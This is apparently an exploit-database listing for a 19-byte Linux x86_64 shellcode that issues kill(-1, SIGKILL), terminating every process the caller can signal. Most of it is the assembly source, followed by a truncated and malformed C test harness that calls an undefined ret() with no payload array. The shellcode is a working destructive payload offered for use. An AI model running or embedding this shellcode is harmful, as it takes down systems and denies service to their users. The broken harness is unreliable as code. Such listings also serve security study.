Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Author
Touhid M.Shaikh
Risk
[Security Risk Medium
]
0day-ID
0day-ID-28331
Category
shellcode
Date add
21-08-2017
Platform
linux/x86-64
/*
;Title: Linux/x86_64 - kill() All Processes Shellcode
;Author: Touhid M.Shaikh
;Contact: https://github.com/touhidshaikh
;Category: Shellcode
;Architecture: Linux x86_64
;Description: If pid == -1, then sig is sent to every process for which the
calling process has permission to send signals, except for process 1 (init)
;Shellcode Length: 19
;Tested on : Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux
=================SHELLCODE(INTEL FORMAT)=================
section .text
global _start:
_start:
xor rax,rax
push byte -1 ; pid = -1,
pop rdi
add rax,9 ; sig
mov rsi,rax
add rax,53 ; kill system call number 9+53=62
syscall
===================END HERE============================
====================FOR C Compile===========================
#include<stdio.h>
#include<string.h>
main()
{
ret();
# 0day.today [2017-11-22] #